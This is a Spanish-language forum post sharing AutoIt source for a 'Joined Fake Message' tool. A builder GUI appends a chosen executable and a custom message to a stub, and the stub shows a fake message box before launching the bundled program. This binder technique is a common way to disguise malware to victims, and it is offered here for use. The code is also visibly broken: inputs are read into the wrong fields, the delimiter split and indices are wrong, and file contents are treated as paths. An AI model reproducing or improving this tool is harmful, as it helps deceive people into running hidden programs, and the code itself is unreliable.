Aqui les dejo el codigo:
Cliente:
Código: Seleccionar todo
#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.8.1
Author: Naker90
Script Function: Joined Fake Message
Une un mensaje falso antes de la ejecucion de un archivo ejecutable
#ce ----------------------------------------------------------------------------
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
Opt("GUIOnEventMode", 1)
$Form1 = GUICreate("Joined Fake Messages By Naker90", 372, 156, -1, -1)
$Button1 = GUICtrlCreateButton("Buscar", 8, 8, 75, 25, $WS_GROUP)
$Input1 = GUICtrlCreateInput("", 88, 8, 273, 21)
$Group1 = GUICtrlCreateGroup("Fake Message", 8, 40, 353, 73)
$Label1 = GUICtrlCreateLabel("Titutlo", 24, 56, 47, 24)
GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
$Input2 = GUICtrlCreateInput("", 72, 56, 281, 21)
$Label2 = GUICtrlCreateLabel("Cuerpo", 16, 80, 56, 24)
GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
$Input3 = GUICtrlCreateInput("", 72, 80, 281, 21)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Button2 = GUICtrlCreateButton("About", 8, 120, 75, 25, $WS_GROUP)
$Button3 = GUICtrlCreateButton("Salir", 288, 120, 75, 25, $WS_GROUP)
$Button4 = GUICtrlCreateButton("Join!", 88, 120, 195, 25, $WS_GROUP)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
GUICtrlSetOnEvent($Button3, "Salir")
GUICtrlSetOnEvent($Button1, "Abrir")
GUICtrlSetOnEvent($Button2, "About")
GUICtrlSetOnEvent($Button4, "Fake")
Func Fake()
$Titulo = GUICtrlRead($Input1)
$Cuerpo = GUICtrlRead($Input2)
$Stub = FileOpen(@DesktopDir & "\Stub.exe", 16)
$Archivo = FileOpen(GUICtrlRead($Input1), 16)
$Key = "[Fake]"
$S = FileRead($Stub)
$A = FileRead ($Archivo)
$Final = FileOpen(FileSaveDialog("Guarde el archivo final", @DesktopDir, "EXE (*.exe)") & ".exe", 18)
FileWrite($Final, $S)
FileWrite($Final, $Key)
FileWrite($Final, $A)
FileWrite($Final, $Key)
FileWrite($Final, $Titulo)
FileWrite($Final, $Key)
FileWrite($final, $Cuerpo)
FileClose($Stub)
FileClose($Archivo)
FileClose($Final)
MsgBox(64, "Joined Fake Message", "Mensaje Unido con Exito!", 10)
endfunc
Func About()
Msgbox (64, "Joined Fake Message", "Codeado por Naker90 en Autoit", 10)
EndFunc
Func Abrir()
GUICtrlSetData($Input1, FileOpenDialog("Eliga un archivo", @DesktopDir, "EXE (*.exe)"))
EndFunc
Func Salir()
Exit
EndFunc
While 1
Sleep(1)
WEnd
Código: Seleccionar todo
#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.8.1
Author: Naker90
Script Function: Stub del Joined Fake Message
#ce ----------------------------------------------------------------------------
#NoTrayIcon
$Stub = FileOpen(@ScriptFullPath, 0)
$S = FileRead($Stub)
Local $sSplit = StringSplit($S, "[Fake]")
;[0] Stub
;[1] Archivo
;[2] Titulo
;[3] Cuerpo del mensaje
$Vector = FileRead($sSplit[2])
$sa = FileRead($sSplit[3])
$Archivo = FileRead($sSplit[1])
Msgbox(64, $Vector, $sa)
ShellExecute($Archivo)